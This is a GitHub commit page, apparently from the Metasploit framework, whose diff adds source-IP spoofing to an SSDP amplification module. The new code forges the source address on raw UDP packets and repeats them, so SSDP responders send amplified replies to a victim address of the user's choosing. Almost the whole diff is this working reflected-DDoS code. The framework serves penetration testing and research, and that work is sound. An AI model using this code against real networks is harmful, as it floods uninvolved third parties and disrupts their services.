Skip to content

Commit b7a0847

Browse files
committed
SRC IP spoofing added to the SSDP amplification module
1 parent 1faa816 commit b7a0847

File tree

3 files changed

+38
-1
lines changed

3 files changed

+38
-1
lines changed

lib/msf/core/auxiliary/drdos.rb

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,15 @@ module Msf
88
###
99
module Auxiliary::DRDoS
1010

11+
def initialize(info = {})
12+
super
13+
register_advanced_options(
14+
[
15+
OptAddress.new('SRCIP', [false, 'Use this source IP']),
16+
OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
17+
], self.class)
18+
end
19+
1120
def prove_amplification(response_map)
1221
vulnerable = false
1322
proofs = []
@@ -43,5 +52,9 @@ def prove_amplification(response_map)
4352
[ vulnerable, proofs.join(', ') ]
4453
end
4554

55+
def spoofed?
56+
!datastore['SRCIP'].nil?
57+
end
58+
4659
end
4760
end

lib/msf/core/auxiliary/udp_scanner.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,24 @@ def run_batch(batch)
6969
scanner_postscan(batch)
7070
end
7171

72+
# Send a spoofed packet to a given host and port
73+
def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
74+
open_pcap
75+
p = PacketFu::UDPPacket.new
76+
p.ip_saddr = srcip
77+
p.ip_daddr = ip
78+
p.ip_ttl = 255
79+
p.udp_src = (rand((2**16)-1024)+1024).to_i
80+
p.udp_dst = port
81+
p.payload = data
82+
p.recalc
83+
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
84+
1.upto(num_packets) do |x|
85+
capture_sendto(p, ip)
86+
end
87+
close_pcap
88+
end
89+
7290
# Send a packet to a given host and port
7391
def scanner_send(data, ip, port)
7492

modules/auxiliary/scanner/upnp/ssdp_amp.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77

88
class Metasploit3 < Msf::Auxiliary
99
include Msf::Auxiliary::Report
10+
include Msf::Exploit::Capture
1011
include Msf::Auxiliary::UDPScanner
1112
include Msf::Auxiliary::DRDoS
1213

@@ -45,7 +46,12 @@ def scanner_prescan(batch)
4546
end
4647

4748
def scan_host(ip)
48-
scanner_send(@msearch_probe, ip, datastore['RPORT'])
49+
if spoofed?
50+
datastore['ScannerRecvWindow'] = 0
51+
scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
52+
else
53+
scanner_send(@msearch_probe, ip, datastore['RPORT'])
54+
end
4955
end
5056

5157
def scanner_process(data, shost, sport)

0 commit comments

Comments
 (0)